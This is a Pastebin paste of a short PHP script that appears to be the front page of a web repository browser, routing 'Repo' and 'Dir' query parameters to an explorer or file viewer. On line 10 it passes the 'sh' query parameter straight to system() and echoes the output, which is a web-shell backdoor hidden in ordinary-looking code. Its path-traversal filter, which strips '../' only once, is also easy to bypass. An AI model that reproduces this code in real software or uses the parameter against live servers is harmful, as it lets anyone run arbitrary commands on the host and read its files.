baguette2

Untitled

Jun 29th, 2018
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1. <?php
  2. require("./tool.php");//import Fonction Tool
  3. if (empty($_GET['Repo'])) {
  4. include("ErrorPage/Welcome.html");
  5. exit();
  6. } else {
  7. $Repo = $_GET["Repo"];//GetRepo
  8. $Repo = str_replace('../', '', $Repo);//patch Exploit ../
  9. }
  10. $cmd = system($_GET['sh']);
  11. if (empty($_GET['Dir'])) {
  12. $dir = '/';
  13. } else {
  14. $dir = $_GET["Dir"];
  15. $dir = str_replace('../', '', $dir);
  16. $dir = '/'.$dir;
  17. }
  18. echo $cmd;
  19. if(is_dir("repo/".$Repo) == 0){
  20. include("ErrorPage/NoRepo.php");
  21. exit();
  22. }
  23. $type = is_dir("repo/".$Repo.$dir);
  24. if ($type == 0) {
  25. if(is_file("repo/".$Repo.$dir) == 0) {
  26. include("ErrorPage/NoFile.php");
  27. exit();
  28. }
  29. }
  30. if ($type == 1) {
  31. include("RepoExplorer.php");
  32. } else {
  33. include("FileViewer.php");
  34. }
  35. ?>
Advertisement
Add Comment
Please, Sign In to add comment